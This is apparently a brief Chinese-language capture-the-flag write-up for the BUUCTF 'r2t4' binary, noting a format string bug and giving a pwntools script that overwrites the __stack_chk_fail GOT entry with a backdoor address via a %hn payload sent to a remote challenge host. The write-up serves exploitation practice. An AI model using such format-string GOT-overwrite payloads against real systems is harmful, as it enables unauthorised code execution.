一看这是个格式化字符串漏洞
主函数在运行完后会执行__stack_chk_fail 是一金丝雀的一种,我们要把这个函数覆盖为backdoor函数
见got表
from pwn import *
context(arch='amd64',os='linux',word_size='64')
#p = process('./r2t4')
p = remote("node3.buuoj.cn",27166)
elf = ELF('./r2t4')
__stack_chk_fail = elf.got['__stack_chk_fail']
payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()